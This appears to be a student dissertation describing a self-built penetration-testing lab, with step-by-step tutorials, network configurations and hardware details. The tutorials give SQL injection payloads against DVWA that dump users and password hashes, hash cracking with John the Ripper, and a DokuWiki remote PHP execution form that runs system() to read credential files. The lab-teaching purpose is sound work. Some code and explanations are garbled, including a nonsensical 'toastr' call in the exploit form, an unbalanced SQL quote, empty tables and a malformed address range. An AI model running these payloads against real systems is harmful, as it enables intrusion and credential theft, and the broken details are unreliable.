Note - Useful commands - cd, dir, type

C:\WINDOWS\system32> cd C:\Documents and Settings\dave\Desktop

C:\Documents and Settings\dave\Desktop> type New_Virtual.eml

Once complete you will have the login details to the next tutorial.

Conclusions

One of the biggest mistakes to make is neglecting any device that has networking capabilities on the network. So long as it can be reached remotely, there is a chance that it may be vulnerable to any kind of attack.

In this case a valuable update was missing on the operating system, together with 'file sharing' enabled (ports 445 and 139), and even with the firewall turned on, you are able to successfully exploit the vulnerability.

Challenge

- See what other information you can gather about the system and perhaps any other people using it. (Tutor can place more details on the system)
6.4.2. Attack 2 - SQL Injection (SQLI)

In this tutorial you will be performing an attack on the DVWA web server using the internal Kali virtual. It will be a vulnerability attack, and in order to gain access to the test platform you will require information both from section 6.3 and also login details from section 6.4.1.

Step 1 - Reduce the DVWA Security Level

Firstly in Kali navigate to the DVWA web server and use the password gained from the previous attack on the Windows machine.

![Figure 41 - Showing the DVWA welcome page](image)

Click on DVWA Security in the menu on the left as shown in Figure 41.
In the drop down list select 'low' and click submit

**Step 2 - Navigate to SQL Injection**

Click on the SQL Injection button on the left hand side toolbar.
Step 3 - Basic SQL Injection

Input a 1 into the text box and press 'submit'

On this page it has been specifically designed to teach you about SQL injection. The user ID has been designed to print Information beneath it.

ID: 1
First name: admin
Surname: admin

Continue with other numbers and see how many more users there are.

Question - How many users are there in the database?

| Users | 7 |
Step 4 - View the Source Code

This is part of the websites design. Click 'Source Code' at the bottom right of that page and it will show you this PHP code used within the execution of the submit button.

```php
<?php
if(isset($_GET['Submit'])){
    // Retrieve data
    $id = $_GET['id'];
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
    $result = mysql_query($getid) or die("<pre>" . mysql_error() . '</pre> ');
    $num = mysql_numrows($result);
    $i = 0;
    while ($i < $num) {
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';
        $i++;
    }
}
?>
```

*Figure 44 - Showing the DVWA SQL low security code*

As you will notice there is no sanitation of the inputs into this Submit box leaving it open to use other characters.
Step 5 - Satisfying criteria for all records

Next will be to input a always true scenario.

Type in -

\[ x' \text{ or } 'x' = 'x \]

Then click 'Submit'

---

*Figure 45 - Showing the DVWA SQL injection query 1*
You will then see this, it performs a statement that is always true therefore showing you all ID entries within the database.

SQL Database statement -

```sql
mysql> SELECT first_name, last_name FROM users WHERE user_id = 'x' or 'x' = 'x';
```

This is known as a string injection as it contains letters the at the end of the first x which is called the backtick, and essentially allows the query to escape.

**Step 6 - Show the database version**

Now that we have a list of users, as part of the SQL injection we need to find out as much information that we can pull out of the database. One in particular method allows us to get the database version.

To do so we will be using the `@@version#` in turn together with `union select null` it will show us the version of the database.

Type in -

```
x' or 1=1 union select null, @@version#
```

Then click submit.

---

![Figure 46 - Showing the DVWA SQL injection query 2](image)
Step - 6 Show who the database is running as
Type in -

```
x' or 1=1 union select null, system_user()#
```

Then click submit.
This query asks the database for what the database user is.

*Figure 47 - Showing the DVWA SQL injection query 3*
Step - 7 Find out what tables are in the SQL Database

To find out the list of tables within the global SQL database type in -

```
x' or 1=1 union select table_schema, table_name from information_schema.tables where table_schema != 'mysql'#
```

Into the text box and then click submit.

The outcome will ask the database for all the column names within the 'information_schema' database, in doing so it will show you this list -

```
<table>
<thead>
<tr>
<th>table_schema</th>
<th>table_name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Figure 48 - Showing the DVWA SQL injection query 4

What you will notice is a long list of tables being presented to you. Knowing that it's a full list of tables, there will be of course a users table, which will more than likely have information regarding the login details to those particular users.
Step - 8 Find out if there is and what the authentication column is called.

The next step will be to find out what the name of the authentication credentials column is called, we can make assumptions that it will be something along the lines of 'password' but we cannot say for sure until it's expressed in the query.

Question - Fill in the missing gaps in the SQL Injection query below.

Type in -

```
'x' or 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
where table_name = 'users'#
```

The outcome will show you the columns associated with the table name called 'users'

---

**Additional Notes** -

- Note the word 'concat' is used to link (concatenate) many strings to form a single string.
- 0x0a is used to present the data on a new line
Step - 9 Display the passwords in the authentication table

Here you will be trying to get a password out of the SQL Injection table.

To do so type in -

```
x' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#
```

Into the text box and click submit.

This will show the first and last name together with the username and password hashes for all the users in the users table like the image shown in Figure 50.

![Figure 50 - Showing the SQL injection query](image)

Once the query has been ran save the password hashes to a text file in this format -

```
user1:<hashvalue>
user2:<hashvalue>
and so on..
```

Save the file to the desktop and give it a <name>.txt
**Additional Information**

- Strings shown in Figure 50 are not the true hashes, this means they will not provide you with the answers and have been edited as part of the image shown

**Step - 10 Cracking the password hashes.**

In this step you will be cracking the 'hashes' to give you a valid password to each of the users.

Open up a terminal and type in -

```
root@Kali:~# john --format=raw-MD5 ~/Desktop/<password file>
```

It will then provide you with a list of passwords together with the username associated as shown like this -

```
<password> (user1)
<password> (user2)
```

Once you have a full list of passwords the tutorial has now been complete. If you are missing any passwords within the list shown, type

```
root@Kali:~# john --format=raw-MD5 ~/Desktop/<password file> -show
```

**Conclusions**

Many web servers have an underlying issue when having input fields that access an SQL Database. In particular from what you can see on this test platform is an SQL Injection vulnerability.

Now that you can perform an SQL injection and grasp the concept, try setting the security mode up a level.

**Challenge**

- Perform an SQL Injection on 'Medium' security settings.
- **Bonus** - Perform an SQL Injection on 'High' security settings
6.4.3. Attack 3 - Remote PHP Execution

In this tutorial you will be performing an attack on a DokuWiki web server as mentioned in section 6.3, using the external Kali virtual.

You will be logged on as 'root' and will have a file called exploit.html located on the desktop.

Virtual Machines required for this -

- Kali 1 (External)

Step 1 - Create the Attack Platform

Firstly we need a platform to perform the attack, we can use a html form such as the one shown in Figure 51.

```html
<html>
<head>
<title>Execute</title>
<style type="text/css">
input,textarea {display: block; margin: 1em auto;
border: 1px solid grey;}
textarea {width: 80%; height: 10em;}
</style>
</head>
<body>
<form action="http://<IP Address of Wiki Page>/lib/exe/spellcheck.php" method="post"
onsubmit="document.getElementById('e_exec').value=toastr(this.p_exec.value+'\ndie();')">
<input type="hidden" name="call" value="check" />
<input type="hidden" name="data" value="[[${eval(base64_decode($_POST[1]))}]]" />
<textarea name="p_exec">header('Content-type:
text/html');
phpinfo();</textarea>
<input type="hidden" id="e_exec" name="1" />
<input type="submit" value="Execute" />
</form>
</body>
```

Figure 51 - Showing the exploit.html code used for remote php execution attack
Step 2 - Identifying the Malicious Code

An html page has been designed to input the above vulnerability which is highlighted in red. It allows code to be executed remotely.

As mentioned by php.net, dynamic code evaluation is considered to be very dangerous because if used improperly it can be badly abused by those with malintent. From the research performed in section 6.3 you'll have identified that this particular version of DokuWiki has this within the application's code.

The bit highlighted in yellow is the raw PHP code you are asking the web server to run.

Step 3 - Identify the Output context

This part changes the way in which the exploit can be viewed. Depending on what it is you wish to view, you can then change it depending on the output -

```
header('Content-type: text/html');
```

to

```
header('Content-type: text/plain');
```

Save the text file as an .html file and open in iceweasel.

Step 4 - Run a remote php execution

![Figure 52 - Showing the Exploit html file used for remote php execution exploit](image)

The above image shows you what the code presents when loaded within a web browser.

You'll notice the line 'phpinfo();' is about to be executed on the server. Let's have a look at what it shows once we execute it.
The above code when submitted presents you with this webpage showing you the PHP version among a whole sea of other information about the execution environment on the server.

As you may be aware normally a websites visitors are not able to execute PHP code on the web server. Being able to do so opens the door for many other serious exploits to be made such as making system calls.
Step 5 - Using a System Call

Let's try using system() and see if we get anything useful back. To do so replace phpinfo() with system() and click execute.

Nothing happened, perhaps if we were to put a specific shell command in, it may give us a response.

Type in -

```php
header('Content-type: text/html');
system('ls');
</textarea>
```

Success but, it doesn't seem to be very clear, let's try changing -

'Content-type: text/html' to 'Content-type: text/plain'

Once complete issue the same command again and click execute.

You'll notice it is easier to read and presents a table format rather than a line of text.

Step 6 - Identifying the end goal.

Now that you have identified how to access the system, and also to perform a basic directory listings using 'ls' can you improve this by finding out where all the login details for the users are kept?

If we look on DokuWiki, it can tell us how this application holds the authentication credentials.

Try and find the passwords used for the DokuWiki within the installation directory of /var/www/. Use the system() function to find it.

```php
header('Content-type: text/plain');
system('cat /var/www/conf/users.auth.php');
</textarea>
```

Now that you have the MD5 Hash, you can use 'John the Ripper' as performed at the end of section 6.4.2
Summary

It is interesting to note that this vulnerability was very bad at the time and the software developers were quick to patch it, by creating another version labelled '2006-03-09a'. Although even with the patched versions, many businesses would not notice the update and continue to use it, despite its critical vulnerability.

Bonus

There are additional attacks that can be performed for those who are up for a challenge.

Knowing that you can run system commands remotely, using the there might be a way to get access to the system using SSH.

Challenge

- Perform a reverse SSH Tunnel

- **Note** - SSH is impossible from the Kali virtual to the web server due to a MikroTik firewall configuration.
7. Conclusion

During the process of planning and also setting the environment up, it has provided me with a vast amount of skills regarding different operating platforms within the computing industry. I have been able to plan and create a small network which can form the structure of a small business supplying many of the necessary functions that are provided in a real world situation. Even during my time within a working company many of these services I have not set up before, therefore it has provided me with experience with this technology that I would otherwise have not experienced in my career.

The creation of the environment allows it to be used as a testing platform for any future tests on vulnerabilities. It can be used both for malicious exploits and also for education on network and system security.

7.1. Personal Reflection

7.1.1. Issues Encountered

As I am currently employed as a Network and Systems Administrator, I know more about the security aspects revolving around defending a network from the basic attacks such as those that exploit the vulnerabilities of out-of-date software, than actually performing them myself.

Exploitation attacks on systems are not as easy as first perceived, this is due to a wide variety of variables that need to be met before the exploit can be performed.

- Software / Operating System version
- Patches
- Firewall Rules
- Network Setup

This all has to be taken into account before an attack can be planned, in essence you cannot jump onto a network and hope to just perform an attack. You will need to firstly have an intention, i.e. a root goal as to what you want to achieve out of this attack. Secondly many if not all networks will not be available directly from the inside for a external attacker. They will require a point of entry from an external source, then by following an attack method you will push your attack further into the network through key systems. One by one exploiting vulnerabilities until finally you have succeeded in penetrating the network.
7.1.2. Company Troubles

The resources for the project were maintained by the company that I work for. During the period of completing my dissertation, I was unfortunately told that I was at risk of redundancy due to falling sales. Understandably I took this into account when starting my dissertation, but at the same time did not account for the health effects it caused me over a period of 2 weeks, which made me unable to carry on with my work during that period.

7.1.3. General illnesses

Thankfully I have suffered from very few illnesses during the period of this dissertation apart from those mentioned in section 7.1.2. Because of this it enabled me to ensure the project stayed on track. Any additional days that were factored in for illnesses were then used as buffers for each section of the dissertation.

7.1.4. University Network

As mentioned in section 3.4 as part of the dissertation a request to set up the environment on the university's OpenStack cloud network was made.

After requesting information about the cloud network it was found out that I was unable replicate the environment I used on ESXi due to the original configuration for OpenStack being set up as a 'flat network'. A flat network is the name given to a network that does not have the ability to create subnets, which is an essential element for the tutorial.
7.2. Future Work

There are a number of ideas that I originally wished to put into the planning of the dissertation. Here are a few of them:

7.2.1. Additional Virtual machines

In this section I will be mentioning the further tests that are in the planning stage. As part of the dissertation I managed provide tutorials for but a few of many that I would like to achieve long term. Due to resource and time constraints these will be part of the future work I intend to implement within the network to help students with the network and security module.

- Mail Server

As part of the tutorial I had a plan to incorporate a mail server as it would prove a great tutorial when trying to capture both data travelling throughout the network and also on the mail server itself. Unfortunately due to time restrictions and the lack of knowledge surrounding setting up a SMTP server it will be postponed as part of the future work performed on the network itself.

- External SQL Database

An external SQL database is somewhat different from the standard local setup, but a lot of the time (specifically when companies use Microsoft products) it tends to be far too expensive to buy multiple SQL server licenses. In this case companies set up services that point directly to a standalone SQL database in order to cut costs. In between the services and the database the packets crossing the network maybe susceptible to sniffing attacks.

- Snort

Snort is a deep packet inspection application used to combat hackers. I would like to use a piece of software called Snort an Intrusion Detection System (or IDS for short), it is a very complicated tool and requires a lot of training and experience in order to set it up. A major point to it is that it's free software. It would be a useful tool to have on the tutorial network and the skills gained from using it would be a valuable asset to students when applying for jobs in industry, in particular within Network and Security. It
provides an up-to-date security platform so that students can hopefully invent new techniques to circumvent the application security.

7.2.2. Summary

Overall I am satisfied with the work put into the tutorial and I hope in the future it will prove effective when teaching students about the advancements made in both ethical hacking and more importantly network security.
7.3. Gantt Timeline

<table>
<thead>
<tr>
<th>Task</th>
<th>Task Name</th>
<th>Duration</th>
<th>Start Date</th>
<th>Finish Date</th>
<th>Predecessors</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Decide on a Dissertation Topic</td>
<td>26 days</td>
<td>Mon 18/09/13</td>
<td>Mon 21/10/13</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>Literature Review</td>
<td>30 days</td>
<td>Mon 21/10/13</td>
<td>Fri 29/11/13</td>
<td>1</td>
</tr>
<tr>
<td>3</td>
<td>Setting up the Environment</td>
<td>18 days</td>
<td>Fri 29/11/13</td>
<td>Tue 24/12/13</td>
<td>6,2</td>
</tr>
<tr>
<td>4</td>
<td>Holiday Break</td>
<td>8 days</td>
<td>Wed 25/12/13</td>
<td>Fri 03/01/14</td>
<td>3</td>
</tr>
<tr>
<td>5</td>
<td>Methodology</td>
<td>21 days</td>
<td>Fri 03/01/14</td>
<td>Fri 31/01/14</td>
<td>4,5</td>
</tr>
<tr>
<td>6</td>
<td>Project Plan</td>
<td>30 days</td>
<td>Mon 31/10/13</td>
<td>Fri 20/11/13</td>
<td>1</td>
</tr>
<tr>
<td>7</td>
<td>Research / Penetration Tutorial</td>
<td>41 days</td>
<td>Fri 31/01/14</td>
<td>Fri 28/03/14</td>
<td>5</td>
</tr>
<tr>
<td>8</td>
<td>Conclusion</td>
<td>5 days</td>
<td>Mon 31/01/14</td>
<td>Fri 04/04/14</td>
<td>1,2,3,4,5,6,7</td>
</tr>
</tbody>
</table>

![Gantt project timeline](image)

*Figure 54 - Showing the Gantt project timeline*
8. Bibliography


9. Appendix A - Service Configuration settings

This contains the configurations that are not part of the default setup and require changes being made.

9.1. MikroTik Configuration

This is the configuration file that is exported from the MikroTik interface.

File name when extracted - lan.project.local.rsc

```
# mar/18/2014 17:25:02 by RouterOS 6.7
# software id =
#
interface ethernet
set [ find default-name=ether1 ] mac-address=00:0C:29:AC:A1:1C
    name=BT_Infinity speed=1Gbps
set [ find default-name=ether3 ] mac-address=00:0C:29:AC:A1:30 name=DMZ
set [ find default-name=ether2 ] mac-address=00:0C:29:AC:A1:26 name=Domain
set [ find default-name=ether4 ] mac-address=00:0C:29:AC:A1:3A
    name=Internet
/ip neighbor discovery
set BT_Infinity discover=no
set DMZ discover=no
set Domain discover=no
set Internet discover=no
/port
set 0 name=serial0
set 1 name=serial1
/ip address
add address=172.16.255.254/16 interface=BT_Infinity network=172.16.0.0
add address=172.25.1.1/26 interface=Domain network=172.25.1.0
add address=172.25.2.1/29 interface=DMZ network=172.25.2.0
add address=172.25.3.1/29 interface=Internet network=172.25.3.0
/ip firewall filter
add action=drop chain=input comment="Drop invalid connections" connection-state=invalid
add chain=input comment="Accept already established connections" connection-state=established
add chain=input comment="Accept connections from the Domain interface" in-interface=Domain
add chain=input comment="Accept SSH" dst-port=22 in-interface=BT_Infinity protocol=tcp
add action=drop chain=input comment="Any other connections drop"
add chain=forward comment="Accept established connections going through the router" connection-state=established
add chain=forward comment="Accept connections that are related to another connection" connection-state=related
```
add action=drop chain=forward comment="Drop any forwarded connections that are invalid" connection-state=invalid

add chain=forward comment="Accept forwarded connections from the Domain Interface" in-interface=Domain
add chain=forward comment="Accept forwarded connections from the DMZ interface to the internet Interface" in-interface=DMZ out-interface=Internet
add chain=forward comment="Accept forwarding connections using TCP to port 80 or 443 on 172.25.2.2" dst-address=172.25.2.2 dst-port=80,443 protocol=tcp
add action=drop chain=forward comment="Any other connections drop"

/ip firewall nat
add action=masquerade chain=srcnat out-interface=Internet src-address=172.25.1.0/26
add action=dst-nat chain=dstnat dst-address=172.25.3.1 dst-port=80 protocol=tcp to-addresses=172.25.2.2 to-ports=80
add action=dst-nat chain=dstnat dst-address=172.25.3.1 dst-port=80 protocol=udp to-addresses=172.25.2.2 to-ports=80
add action=masquerade chain=srcnat out-interface=Internet src-address=172.25.1.0/26
add action=masquerade chain=srcnat out-interface=Internet src-address=172.25.2.0/29

/ip route
add distance=1 dst-address=0.0.0.0/0 gateway=172.16.0.1

/ip service
set telnet disabled=yes
set ftp disabled=yes
set www disabled=yes
set api disabled=yes
9.2. DNS Configuration

File Name: named.conf - /etc/named.conf

```plaintext
// named.conf

// Provided by Red Hat bind package to configure the ISC BIND named(8) DNS
// server as a caching only nameserver (as a localhost DNS resolver only).
//
// See /usr/share/doc/bind*/sample/ for example named configuration files.

options {
  #listen-on port 53 { 127.0.0.1; };
  listen-on-v6 port 53 { ::1; };
  directory  "~/var/named";
  dump-file    "~/var/named/data/cache_dump.db";
  statistics-file "~/var/named/data/named_stats.txt";
  memstatistics-file  "~/var/named/data/named_mem_stats.txt";
  allow-query   { localhost; 172.25.1.11/26;};
  recursion no;

dnssec-enable yes;
  dnssec-validation yes;
  dnssec-lookaside auto;

  /* Path to ISC DLV Key*/

  managed-keys-directory "~/var/named/dynamic";
};

zone "lan.project.local" IN {
  type master;
  file "lan.project.local"
  allow-update { none; };
};

zone "1.25.172.in-addr.arpa" IN {
  type master;
  file "1.25.172.in-addr.arpa.DNS"
  allow-update { none; };
};

zone "2.25.172.in-addr.arpa" IN {
  type master;
  file "2.25.172.in-addr.arpa.DNS"
  allow-update { none; };
};
```
9.2.1. Zone file Configuration

Forward Lookup

File Name: lan.project.local - /var/named/chroot/var/named/lan.project.local

```
$TTL 1d
@ IN SOA DNS1.lan.project.local. root.lan.project.local. (2014011401 ;Serial
3600 ;Refresh
1800 ;Retry
604800 ;Expire
86400 ;Minimum
)

IN NS DNS1.lan.project.local

; Private Hosts

Serv2012 IN A 172.25.1.10
_ldap._tcp.lan.project.local. SRV 0 0 389 Serv2012.lan.project.local.
_kerberos._tcp.lan.project.local. SRV 0 0 88 Serv2012.lan.project.local.
_ldap._tcp.dc._msdcs.lan.project.local. SRV 0 0 389 Serv2012.lan.project.local.
_kerberos._tcp.dc._msdcs.lan.project.local. SRV 0 0 88 Serv2012.lan.project.local.

DNS1 IN A 172.25.1.11
DVWA IN A 172.25.1.12
joes-pc IN A 172.25.1.20
daves-pc IN A 172.25.1.21
claires-pc IN A 172.25.1.30
DokuWiki IN A 172.25.2.2
```
Reverse Lookup Zone 1 (Domain)

File Name: 1.25.172.in-addr.arpa - /var/named/chroot/var/named/1.25.172.in-addr.arpa

$ORIGIN 1.25.172.in-addr.arpa.
$TTL 1d
@     IN    SOA   DNS1.lan.project.local. root.lan.project.local. ( 2014011401 ;Serial 3600 ;Refresh 1800 ;Retry 604800 ;Expire 86400 ;Minimum )

IN    NS    DNS1.lan.project.local

10    IN    PTR    Serv2012.lan.project.local.
11    IN    PTR    DNS1.lan.project.local.
12    IN    PTR    DVVA.lan.project.local.
20    IN    PTR    Joes-pc.lan.project.local.
21    IN    PTR    daves-pc.lan.project.local.
30    IN    PTR    claires-pc.lan.project.local.

Reverse Lookup Zone 2 (DMZ)

File Name: 2.25.172.in-addr.arpa - /var/named/chroot/var/named/2.25.172.in-addr.arpa

$ORIGIN 2.25.172.in-addr.arpa.
$TTL 1d
@     IN    SOA   DNS1.lan.project.local. root.lan.project.local. ( 2014011401 ;Serial 3600 ;Refresh 1800 ;Retry 604800 ;Expire 86400 ;Minimum )

IN    NS    DNS1.lan.project.local

2     IN    PTR    DokuWiki.lan.project.local.
DNS IP Tables (Firewall)

Configuring the Firewall - iptables

```
# Generated by iptables-save v1.4.7 on <Day> <Month> <Date> <Time> <Year>
*Filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT DROP [112:13416]

# 1 - Block Null Packets
-A INPUT -p tcp --tcp-flags ALL NONE -j DROP

# 1 - Block Syn Flood Attack
-A INPUT -p tcp ! --syn -m state --state NEW -j DROP

# 1 - Block XMAS Packets
-A INPUT -p tcp --tcp-flags ALL ALL -j DROP

# 1 - Unblock local host services
-A INPUT -i lo -j ACCEPT

# 1 - Unblock DNS Ports
-A INPUT -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -j ACCEPT

# 1 - Allow Connection for SSH on eth0 interface
-A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT

# 2 - Allow Return Connection for SSH on eth0 interface
-A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT

# 1 - Drop Everything Else
-A INPUT -j DROP
-A OUTPUT -j DROP
-A FORWARD -j DROP
```
9.3. **DVWA Firewall Configuration**

```
# Generated by iptables-save v1.4.7 on <Day> <Month> <Date> <Time> <Year>
*Filter
:INPUT DROP[0:0]
:FORWARD DROP [0:0]
:OUTPUT DROP [112:13416]

# Allow local loopback
-A INPUT -i lo -j ACCEPT

# Allow communication to eth0
-A INPUT -i eth0 -m state --state RELATED, ESTABLISHED -j ACCEPT

# Allow port 80 (HTTP)
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT

# Allow SSH connections.
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT

# Allow ping requests
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT

-A INPUT -j REJECT --reject-with icmp-port-unreachable
-A FORWARD -j REJECT --reject-with icmp-port-unreachable COMMIT
```
## 9.4. DokuWiki Firewall Configuration

```bash
# Generated by iptables-save v1.4.7 on <Day> <Month> <Date> <Time> <Year>
*Filter
:INPUT DROP[0:0]
:FORWARD DROP [0:0]
:OUTPUT DROP [112:13416]

#Allow local loopback
-A INPUT -i lo -j ACCEPT

#Allow communication to eth0
-A INPUT -i eth0 -m state --state RELATED, ESTABLISHED -j ACCEPT

#Allow port 80 (HTTP)
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT

#Allow ping requests
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT

#Allow people from the domain to SSH
-A INPUT -s 255.255.255.248/26 -p tcp --dport 22 -m state --state NEW, ESTABLISHED -j ACCEPT

#Allow SSH connections out of the server.
-A OUTPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
```
9.5. Windows ARP traffic simulation bash script

:START
ipconfig /flushdns
timeout /t 10
ping 172.25.1.10
timeout /t 10
ping 172.25.2.2
timeout /t 10
ping 172.25.1.30
timeout /t 10
netsh interface ip delete arpcache
timeout /t 10
ping daves.pc
GOTO START
10. Appendix B - Physical Resources

10.1. Physical Hardware

This section will provide the details of the hardware required for the purpose of the tutorial environment. Items have been selected with the consideration of points of failures, such as power outages or general faults.

As the environment will be running for some time, and due to opportunity the company has provided two enterprise grade servers which will be used both a Dell Power Edge 2950 III and a Power Edge R200.

They were designed to run for long periods of time without being turned off but no longer are covered under the manufacturer's warranty therefore hardware faults will be planned into the timeline.
10.1.1. Dell Power Edge 2950 III

Hardware available to use within the company is a Dell Power Edge 2950 III, previous testing of ESXi 4.x has proven the server supports this technology.

Newer versions of ESXi are available and a compatibility search will have to be made in order to make sure it supports this hardware.

VMware ESXi Support

<table>
<thead>
<tr>
<th>Partner Name</th>
<th>Model</th>
<th>CPU Series</th>
<th>Supported Releases</th>
</tr>
</thead>
<tbody>
<tr>
<td>DELL</td>
<td>PowerEdge 2950 III</td>
<td>Intel Xeon 5100 Series</td>
<td>ESXi 4.1 U3 4.1 U2 4.1 U1 4.1</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>ESXiInstallable 3.5 U6 3.5 U4</td>
</tr>
<tr>
<td>DELL</td>
<td>PowerEdge 2950 III</td>
<td>Intel Xeon 5200 Series</td>
<td>ESXiEmbedded 4.1 U3 4.1 U2 4.1 U1 4.1</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>ESXi 5.5 U1 5.5</td>
</tr>
<tr>
<td>DELL</td>
<td>PowerEdge 2950 III</td>
<td>Intel Xeon 5300 Series</td>
<td>ESXi 4.1 U3 4.1 U2 4.1 U1 4.1</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>ESXiInstallable 4.1 U3 4.1 U2 4.1 U1 4.1</td>
</tr>
<tr>
<td>DELL</td>
<td>PowerEdge 2950 III</td>
<td>Intel Xeon 5400 Series</td>
<td>ESXiEmbedded 4.1 U3 4.1 U2 4.1 U1 4.1</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>ESXi 5.5 U1 5.5</td>
</tr>
</tbody>
</table>

*Figure 55 - Showing the ESXi version compatibility list for the PowerEdge 2950 III*

The server comes with 8 x 10k 2.5 inch SAS Hard drive spaces on the front together with a VGA Port for managing the host locally.

There are also 2 USB ports to use both a keyboard and mouse if needed, this makes it easier to access the server locally without having to find it amongst other servers from the back of the server rack.
10.1.1.1. Server Front

Figure 56 - Showing the front of the PowerEdge 2950 III

Details -

- Hardware Raid with a RAID-1 Configuration
- 3 x 500 GB 2.5 inch HDD’s @ 7200rpm
- 2 working and one ‘Hot Spare’
- USB Ports used to connect a keyboard.
- Front VGA Port will be used to access the servers interface.
- CD/DVD drive will be used to install ESXi on the server.
10.1.1.2. Server Back

Figure 57 - Showing the back of the PowerEdge 2950 III

Details -

- 2 x Power supplies - opportunity to connect one to a mains power supply and then the other to a UPS, it will be necessary as a precaution if there was a power failure.

- 2 x 1Gbps Ethernet ports - One for Host management and the other will be used for connectivity between hosts for the virtual machines.

- 1 x VGA - Will not be used as the back of server will be too difficult to access when within the rack.

- 1 x Console port - Will not be used during this project.
10.1.2. Dell Power Edge R200

This additional server will be used to accommodate any resources that are not fully fulfilled by the Power Edge 2950 III. Essentially the server will be used as a backup for additional virtual's to be used.

10.1.2.1. Server Front

Figure 58 - Showing the front of the PowerEdge R200

Details -

- No Hardware Raid
- 1 x 500GB 3.5inch HDD @ 7200rpm
- 2 x USB Ports to connect a keyboard.
- 1 x VGA Port used to access the servers interface.
- 1 x CD/DVD Drive to install ESXi on
10.1.2.2. Server Back

Figure 59 - Showing the back of the PowerEdge R200

Details -

- 1 x Power Supply - No Extra Power supply can support this server variant, therefore the risk of this machine losing power is has a greater impact on the tutorial.

- 2 x USB Ports - Connection for a keyboard

- 2 x PS2 Connectors - Backup for USB

- 1 x Serial Port - Will not be used

- 1 x VGA Port - Connect to the servers interface

- 2 x 1Gbps Ethernet Port - One for Host management and the other will be used for connectivity between hosts for the virtual machines.
10.1.3. APC 1500 UPS

An APC 1500 UPS will be commissioned to provide the environment with a redundant power supply as part of the risk assessment.

**Specification** -

- Manufacture: APC
- Model: SUA1500RM12U
- Variant: Rack Mountable

10.1.3.2. UPS Front

![Figure 60 - Showing the front picture of the APC UPS](image)

**Table 6 - Showing the power details of the APC UPS**

<table>
<thead>
<tr>
<th>Output</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Output Power Capacity</td>
<td>980 Watts / 1500 VA</td>
</tr>
<tr>
<td>Nominal Output Voltage</td>
<td>230V</td>
</tr>
<tr>
<td>Output Connections</td>
<td>(4) IEC 320 C13</td>
</tr>
<tr>
<td>Batteries and Runtime</td>
<td></td>
</tr>
<tr>
<td>Recharge Time</td>
<td>3 Hours</td>
</tr>
</tbody>
</table>
10.1.3.3. UPS Back

Details -

- 1 x IEC Female Input Port - To supply power to the UPS from a mains socket.

- 4 x IEC Male Output ports - To supply power to all devices that will be part of the management network.

The UPS is a brief safety keeping the environment up and running when power is starved from the servers.
10.1.4. Linksys SRW2024 Switch

Specification -

- Manufacturer: Linksys
- Model: SRW2024
- 24 Port switch / Layer 3 Managed
- Variant: Rack Mountable

Figure 63 - Showing the SRW2024 Managed Switch

The SRW2024 layer 3 managed switch will be a pivoting point within the network setup, as it will effectively handle the communications between the two hosts. It will also be an intermediate connection between the VPN destination and the ESXi Management console.
10.1.5. Physical Setup

The image below shows the physical setup of the rack that the environment will be hosted in.

*Figure 64 - Showing the Hardware setup within Server Rack*
11. Appendix C - Index

A list of additional details towards configuration and words used in the above dissertation.

11.1. RouterOS Firewall Rules index

Firewall Rules -

- **action** - Action to take if the network packet is matched by a rule
- **accept** - accept the packet therefore it is not passed to the next
  - NAT rule
- **src-nat** - replaces the source address of an IP packet to values
  - specified by to-addresses and to-ports
- **chain** - Specifies to which chain rule will be added. If the input does not match
  - the name of an already defined chain, a new chain will be created.
- **comment** - Descriptive commend for the rule made.
- **dst-address** - Matches packets when the destination is equal to a specific IP or falls into a particular IP range.
- **dst-port** - set a specific port number or range of ports for this rule to target.
- **in-interface** - specify an interface in which the network packet enters the router.
- **out-interface** - specify an interface in which the network packet leaves the router.
- **port** - Matches if any (source or destination) port matches the specified list of
  - ports or port ranges. (Applicable only if the protocol is TCP or UDP)
- **protocol** - Matches a particular IP Protocol specified by the name or number.
- **src-address** - Matches packets which the source is equal to a specific IP or range.
11.2. Key Words

GUI - Graphical User Interface is the terminology given to applications that use an interactive interface to relay information to the user such as buttons, windows and many other designs instead of the bare console interface which limits the user to text only commands. Examples of this can be seen when comparing Windows with many Linux.

HTTPS - stands for Hypertext Transfer Protocol Secure, it is used as an equivalent but securely encrypted alternative to the HTTP when talking to Websites on the internet. It is officially known as HTTP using TLS (Transport Layer Security) and due to the rise in dangers on the internet companies use this to make sure all data transferred between the client and their servers whether it's a payment, email or just the transfer of sensitive data are encrypted so that anyone performing attacks such as the 'Man-in-the-middle' (See section 4.1.3) are unable to read your sensitive data.

NAT - Network Address Translation is where by an IP Is modified into another for the purpose of hiding an entire IP range behind one single IP Address. It is effective in further extending the capabilities of the IPv4 by allowing multiple devices with many internal addresses to use one public facing IP Address.

